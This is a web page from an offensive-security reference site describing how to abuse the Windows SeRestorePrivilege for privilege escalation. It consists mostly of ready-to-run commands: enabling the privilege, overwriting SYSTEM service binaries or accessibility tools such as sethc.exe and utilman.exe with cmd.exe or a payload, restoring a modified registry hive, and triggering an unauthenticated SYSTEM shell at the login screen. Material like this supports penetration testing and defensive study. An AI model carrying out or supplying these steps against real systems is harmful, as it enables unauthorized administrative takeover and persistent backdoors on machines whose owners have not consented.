Skip to content
HackIndex logo

HackIndex

SeRestorePrivilege Abuse for Privilege Escalation

3 min read Mar 15, 2026

SeRestorePrivilege allows writing to any file on the system regardless of ACLs — the counterpart to SeBackupPrivilege. With this privilege you can overwrite service binaries, DLLs in system directories, and registry-backed files. The classic path is overwriting a service binary or a utilman/sethc sticky-key style binary, then triggering execution.

Prerequisites Check

C:\Users\Guest\Desktop> whoami /priv | findstr SeRestorePrivilege

SeRestorePrivilege must show Enabled. If disabled, enable it:

PS C:\Users\Guest\Desktop> Import-Module .\SeBackupPrivilegeCmdLets.dll
PS C:\Users\Guest\Desktop> Set-SeRestorePrivilege

Step 1 — Identify a Target File to Overwrite

Service binary (most reliable):

Find a service that runs as SYSTEM and whose binary you can overwrite using restore semantics:

C:\Users\Guest\Desktop> # Find SYSTEM services
C:\Users\Guest\Desktop> wmic service where "StartName='LocalSystem'" get Name,PathName | head -20
 
C:\Users\Guest\Desktop> # Any service binary in a non-standard location
C:\Users\Guest\Desktop> sc query type= all | findstr SERVICE_NAME
C:\Users\Guest\Desktop> sc qc ServiceName

System utility overwrite (for RDP/console access):

When you have RDP or physical console access, overwrite accessibility tools that launch before login:

C:\Windows\System32\sethc.exe         (Sticky Keys — Shift x5)
C:\Windows\System32\utilman.exe       (Accessibility — Win+U)
C:\Windows\System32\osk.exe           (On-Screen Keyboard)
C:\Windows\System32\narrator.exe      (Narrator)

Step 2 — Overwrite the Target File

Using the SeBackupPrivilege cmdlets which also support write:

PS C:\Users\Guest\Desktop> Import-Module .\SeBackupPrivilegeCmdLets.dll
PS C:\Users\Guest\Desktop> Import-Module .\SeBackupPrivilegeUtils.dll
 
PS C:\Users\Guest\Desktop> # Overwrite a service binary
PS C:\Users\Guest\Desktop> Copy-FileSeRestorePrivilege C:\Windows\Temp\payload.exe C:\Path\To\service.exe -Overwrite
 
PS C:\Users\Guest\Desktop> # Overwrite a system utility
PS C:\Users\Guest\Desktop> Copy-FileSeRestorePrivilege C:\Windows\System32\cmd.exe C:\Windows\System32\sethc.exe -Overwrite

Using robocopy with restore mode:

C:\Users\Guest\Desktop> robocopy /B C:\Windows\Temp C:\Windows\System32 payload.exe /MT:1

Using the reg restore API via PowerShell for registry-backed files:

C:\Users\Guest\Desktop> reg restore HKLM\SYSTEM C:\Windows\Temp\modified_SYSTEM

Step 3 — Trigger Execution

If you overwrote a service binary:

C:\Users\Guest\Desktop> sc stop ServiceName
C:\Users\Guest\Desktop> sc start ServiceName

If you overwrote sethc.exe with cmd.exe (RDP/console):

  1. Connect to RDP or sit at the console login screen

  2. Press Shift five times rapidly

  3. A SYSTEM cmd.exe opens without authentication

If you overwrote utilman.exe with cmd.exe:

  1. At the Windows login screen, press Win+U

  2. SYSTEM cmd.exe opens

Step 4 — Restore Original Files

After escalating, restore the original files to avoid breaking the system:

PS C:\Users\Guest\Desktop> # Restore the original binary from backup
PS C:\Users\Guest\Desktop> Copy-FileSeRestorePrivilege C:\Path\To\original.exe.bak C:\Path\To\original.exe -Overwrite

If you did not back up the original, restore from the Windows installation:

C:\Users\Guest\Desktop> # Extract original from WinSxS
C:\Users\Guest\Desktop> dism /online /cleanup-image /restorehealth
C:\Users\Guest\Desktop> sfc /scannow

SeRestorePrivilege via Registry

With SeRestorePrivilege you can also restore registry hives, which allows modifying service ImagePath values:

C:\Users\Guest\Desktop> # Load a modified registry hive
C:\Users\Guest\Desktop> reg load HKLM\TempHive C:\Windows\Temp\modified_hive
C:\Users\Guest\Desktop> # Modify values in HKLM\TempHive
C:\Users\Guest\Desktop> reg unload HKLM\TempHive
C:\Users\Guest\Desktop> # Restore to the live hive location
C:\Users\Guest\Desktop> reg restore HKLM\SYSTEM C:\Windows\Temp\modified_SYSTEM

References